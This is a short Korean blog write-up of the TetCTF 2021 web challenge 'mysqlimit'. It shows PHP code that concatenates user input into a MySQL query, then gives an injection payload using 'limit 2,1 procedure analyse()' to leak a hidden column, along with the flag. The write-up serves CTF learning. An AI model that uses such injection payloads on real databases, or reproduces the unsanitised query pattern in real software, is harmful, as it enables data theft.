[TetCTF 2021] WEB - mysqlimit
by jennysgapChallenge:
Code:
# flag_here_hihi 테이블의 모든 필드를 조회, 그 중 id 값이 'input'인 레코드만을 출력
$query = "select * from flag_here_hihi where id=".$id;
# fetch_array()함수를 통해 선택된 레코드 중 2번째 필드 값만 출력
$res = $run_query->fetch_array()[1];
id에 1
, 2
, 3
을 입력해보자.handsome_flag
, ugly_flag
, amazing_goodjob_flag
값이 출력된다.
그렇다면 테이블이 아래와 같다고 추측해볼 수 있다.
table name = flag_here_hihi
id | (?) 플래그의 이름 | (?) 플래그 값 |
1 | handsome_flag | |
2 | ugly_flag | |
3 | amazing_goodjob_flag |
여기서 핵심은 세번째 column 값을 어떻게 가져오냐다.
MySQL에서는 procedure analyse()
함수를 이용하면 가져올 수 있다.
id=1 limit 0,1 procedure analyse() #get first column
id=1 limit 1,1 procedure analyse() #get second column
id=1 limit 2,1 procedure analyse() #get third column
Payload:
1 limit 2,1 procedure analyse()
Flag:
TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}
반응형
'BOX' 카테고리의 다른 글
[Christmas 2020] REVERSING - screw_driver (0) | 2021.01.08 |
---|---|
[Christmas 2020] REVERSING - lock (0) | 2021.01.07 |
[TetCTF 2021] WEB - Super Calc (0) | 2021.01.05 |
[TetCTF 2021] WEB - HPNY (0) | 2021.01.05 |
공개키 암호 방식(RSA) (0) | 2020.12.15 |
블로그의 정보
jennysgap
jennysgap